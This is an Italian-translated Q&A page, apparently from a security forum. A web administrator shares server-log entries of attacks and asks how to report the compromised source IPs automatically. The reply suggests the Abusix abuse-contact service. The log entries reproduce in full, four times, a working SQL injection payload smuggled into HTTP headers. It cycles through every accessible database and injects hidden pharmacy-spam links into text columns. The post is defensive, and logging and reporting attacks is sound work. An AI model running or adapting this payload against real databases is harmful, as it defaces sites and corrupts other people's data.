Come automatizzare l'invio di messaggi su host internet maltrattati

4

Ho appena esaminato i log degli errori del nostro server Web e ho notato un notevole aumento degli attacchi SQL injection quest'anno. Questi attacchi, più di 3000 nel 2016, di solito assomigliano a questo:

HTTP_REFERER:http://google.com');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

Key: ALL_RAW
Value 0: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,gzip, deflate
Host: xxxxx
Referer: http://google.com');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

Suppongo che gli host che inviano queste richieste di attacco siano dispositivi compromessi / infetti collegati a Internet, dal momento che non si trovano in Russia ma negli Stati Uniti, in Francia, ecc. Sarebbe utile per gli amministratori di rete ottenere le informazioni che i loro i dispositivi sono stati compromessi, ma scrivere una e-mail per ogni attacco di questo tipo richiederebbe molto tempo.

C'è forse qualche servizio web in cui posso automaticamente (programmaticamente) inviare quegli indirizzi IP come compromessi in modo che gli amministratori possano cercare i loro intervalli IP e controllarli?

    
posta Vojtěch Dohnal 22.04.2016 - 09:25
fonte

1 risposta

1

Abusix fornisce un servizio / database gratuito per recuperare l'indirizzo email di segnalazione degli abusi degli indirizzi IP e una libreria python per interrogare il servizio. Puoi scrivere uno script python per analizzare i log del tuo server per raccogliere gli indirizzi IP, interrogare i loro indirizzi di abuso contro Abusix e quindi inviare la tua email a quegli indirizzi.

Fai attenzione a non essere bloccato per l'invio collettivo di email.

Dichiarazione di non responsabilità: non ho mai utilizzato il servizio di Abusix da solo, quindi non posso davvero garantire se è efficace o preciso.

    
risposta data 22.04.2016 - 15:17
fonte

Leggi altre domande sui tag